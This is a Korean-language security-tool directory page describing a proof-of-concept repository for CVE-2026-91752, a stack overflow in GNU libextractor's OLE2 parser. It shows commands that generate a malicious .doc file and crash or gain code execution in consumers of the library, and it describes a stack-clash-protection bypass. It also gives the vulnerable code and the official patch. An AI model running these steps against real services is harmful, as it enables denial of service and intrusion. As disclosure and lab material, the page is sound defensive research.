Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
libextractor-ole2-rce — GNU libextractor ≤ 1.14의 치명적인 스택 기반 버퍼 오버플로우에 대한 PoC. 악성 .doc 파일이 무제한 VLA 할당을 유발하여 무조건적인 DoS를 초래합니다. 멀티스레드 환경에서는 스택 클래시 보호를 우회하여 완전한 RCE가 가능합니다. | Kitploit
도구/GitHubGitHub/haitam-lazaar/libextractor-ole2-rce
Memory ForensicsPayload GenerationVulnerability AnalysisExploitationPenetration TestingBinary ExploitationLabs & Practice
GitHubhaitam-lazaar/libextractor-ole2-rce

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

libextractor-ole2-rce

GNU libextractor ≤ 1.14의 치명적인 스택 기반 버퍼 오버플로우에 대한 PoC. 악성 .doc 파일이 무제한 VLA 할당을 유발하여 무조건적인 DoS를 초래합니다. 멀티스레드 환경에서는 스택 클래시 보호를 우회하여 완전한 RCE가 가능합니다.

저장소 보기
73일 전아직 검토되지 않음

CVE-2026-91752: GNU libextractor의 OLE2를 통한 스택 오버플로

요약

GNU libextractor의 OLE2 플러그인에 존재하는 스택 기반 버퍼 오버플로는 조작된 .doc 파일을 처리할 때 원격 서비스 거부(크래시) 및 코드 실행을 가능하게 합니다. 이 취약점은 process_star_office() (ole2_extractor.c:349)에 존재하며, 공격자가 제어하는 파일 데이터를 기반으로 최대 4MB의 가변 길이 배열(VLA)을 스택에 할당합니다.

주요 영향: 원격 서비스 거부 — 악성 파일을 처리하는 모든 애플리케이션 크래시
부차적 영향: 인접 스레드 스택을 통한 -fstack-clash-protection 우회로 인한 원격 코드 실행

필드값
CVECVE-2026-91752
제품GNU libextractor
영향받는 버전< 1.15 (1.14까지의 모든 버전)
수정 버전1.15
CVSS 4.08.7 HIGH (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
CVSS 3.17.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
심각도HIGH (DoS) / CRITICAL (다중 스레드 인프로세스 모드에서의 RCE)
CWECWE-789 (과도한 크기 값으로 인한 메모리 할당) / CWE-121 (스택 기반 버퍼 오버플로)
공격 벡터네트워크 (모든 파일 처리 경로)
필요한 권한없음
사용자 상호작용없음
CNAVulnCheck
연구자Haitam Lazaar

참고: 최신 GCC(≥8)는 기본적으로 -fstack-clash-protection을 활성화하며, 이는 단일 스레드 애플리케이션에서 악용 가능한 오버플로를 안전한 크래시로 전환합니다. 그러나 이 완화책은 스레드 스택이 메모리에서 인접한 다중 스레드 애플리케이션에서 우회될 수 있습니다 — VLA 프로브가 인접 스레드의 스택으로 성공적으로 침투하여 강화된 빌드에서도 완전한 코드 실행이 가능해집니다. 자세한 내용은 docs/BYPASS.md를 참조하세요.

영향받는 소프트웨어

  • GNU libextractor ≤ 1.14 (OLE2 플러그인이 있는 모든 버전)
  • libextractor를 사용하여 신뢰할 수 없는 .doc 파일을 처리하는 모든 애플리케이션
  • GNUnet (파일 공유 인덱서)

빠른 데모

root@kitploit:~
# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc

# Any application that processes this file with libextractor crashes:
extract exploit.doc                    # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc             # GNUnet → gnunet-helper-fs-publish crashes

개념 증명 (실습 데모)

Remote Code Execution Demo

위 애니메이션은 lab-setup/ 디렉터리에 제공된 자동화된 실습 환경을 보여줍니다. 단순히 docker compose up을 실행하면 공격자 컨테이너가 자동으로 악성 .doc 페이로드를 생성하고 취약한 문서 인덱싱 웹 서비스에 업로드합니다. libextractor 파싱 로직이 VLA 스택 오버플로를 트리거하여 공격자가 조용히 임의 코드 실행을 달성할 수 있게 합니다. 대상 컨테이너에서 cat /tmp/pwned를 실행하여 명령 출력을 확인함으로써 익스플로잇을 검증합니다.

저장소 구조

root@kitploit:~
├── poc/                    # Proof of concept
│   ├── gen_payload.py      # Generates malicious .doc trigger file
│   ├── poc_rce.c           # Demonstrates code execution (protection disabled)
│   └── bypass_rce.c        # Stack-clash-protection bypass (multi-threaded)
├── exploit/                # Exploitation details
│   ├── remote_exploit.sh   # Example: triggering via HTTP upload (lab scenario)
│   └── extract_server.c    # Example: vulnerable application using libextractor
├── patches/                # Recommended fix
│   └── 0001-fix-ole2-vla.patch
├── lab-setup/              # Reproducible test environment
│   ├── Dockerfile          # Builds vulnerable libextractor from source
│   ├── docker-compose.yml  # Full lab (includes HTTP upload as one test vector)
│   └── upload_server.py    # Document indexing service simulation
└── docs/
    ├── BYPASS.md           # Stack-clash-protection bypass technique
    └── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation

재현

크래시 / DoS (모든 시스템에서 작동)

root@kitploit:~
# Build libextractor from source
./configure && make && sudo make install

# Generate trigger file
python3 poc/gen_payload.py exploit.doc

# Crash any libextractor consumer
extract exploit.doc   # crashes the OLE2 plugin worker

코드 실행 (보호 비활성화)

root@kitploit:~
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc   # executes attacker payload (exit code 42)

코드 실행 (보호 우회, 다중 스레드)

root@kitploit:~
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc   # bypasses protection, executes payload (exit code 42)

Docker 실습

root@kitploit:~
docker-compose -f lab-setup/docker-compose.yml up -d

근본 원인

root@kitploit:~
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src);        // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0;   // Max 4MB allowed — but stack is 1-8MB
char buf[size];                           // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf);           // Write attacker data

-fstack-clash-protection 없이 컴파일러는 다음을 생성합니다:

root@kitploit:~
sub %rax, %rsp    ; Single instruction, jumps RSP past guard page

-fstack-clash-protection을 사용하더라도 다중 스레드 컨텍스트에서는 프로브가 여전히 우회될 수 있습니다 (docs/BYPASS.md 참조).

공식 패치 (libextractor 1.15)

root@kitploit:~
-  if ( (size < 0x374) ||
-       (size > 4 * 1024 * 1024) )
+  char buf[0x374];
+
+  if (size < 0x374)
     return 0;
-  {
-    char buf[size];
-    gsf_input_read (src, size, (unsigned char*) buf);
+  gsf_input_read (src, sizeof(buf), (unsigned char*) buf);

참고 자료

  • CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2026-91752
  • NVD 항목: https://nvd.nist.gov/vuln/detail/cve-2026-91752
  • VulnCheck 권고: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.15-stack-overflow-via-ole2
  • 업스트림 패치 커밋:
    • Commit 04004eb1
    • Commit 2781c7e9
  • 제품: https://www.gnu.org/software/libextractor/

크레딧

독립 보안 연구 중 저(Haitam Lazaar)가 발견했습니다.

감사의 글

GNU libextractor의 메인테이너인 Christian Grothoff에게 특별히 감사드립니다. 이번 감사 중 보고된 이 문제와 여러 다른 메모리 안전 문제를 해결하기 위한 놀랍도록 빠른 트리아지, 전문적인 커뮤니케이션, 그리고 신속한 패치 배포(v1.15, v1.16, v1.17)에 감사드립니다.

라이선스

제 연구는 교육 및 방어 목적으로 제공됩니다. 책임감 있게 사용하세요.

도구 다운로드